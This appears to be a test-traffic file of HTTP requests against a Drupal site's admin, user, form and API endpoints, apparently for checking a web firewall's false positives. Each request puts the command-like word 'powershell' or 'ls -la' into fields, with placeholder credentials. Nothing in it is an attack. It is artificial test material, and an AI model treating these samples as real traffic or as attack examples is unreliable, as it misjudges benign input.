{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=powershell&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"powershell\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=powershell&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=powershell&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-39jdXePAKADieFAxtAyAbTASAZlWBD25eCMIE6Afa6Y&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-8i-ZobNtZSL-3O050WQd4fVWQcZ-Up1ggLaqKOyrMew&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-dGwYW4O30AY72IYovJIsrVbtEwplwChm7Ufp5Vj8Xn0&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-zWgUpFs_DRf8Z7uzAGog4tmcWPs48AL2L7JJ5WRqBj4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-f7T6e9-CWGNDjPXn-6pK1Fsb3EHB5BXd9I10o2ooqYQ&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-JPNGqpnYg8b0xXtuD-aw2iKACwYzPMeOVQGLGxlbYRA&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=python3%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-iIZ0l558j-xqeMwGupeCbJQrxGqJTGU0hf0Qgdflpqg&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=powershell&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=powershell&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-QxeeEtI4teTXZHcS8vw668mg82J8oWb3sweKrB8Xz60&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=powershell%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=powershell&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"powershell\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"powershell\", \"description\": {\"value\": \"powershell\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"powershell\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"powershell\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"powershell\"}}}"}
{"method": "GET", "target": "/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fls%20-la&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=ls%20-la&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
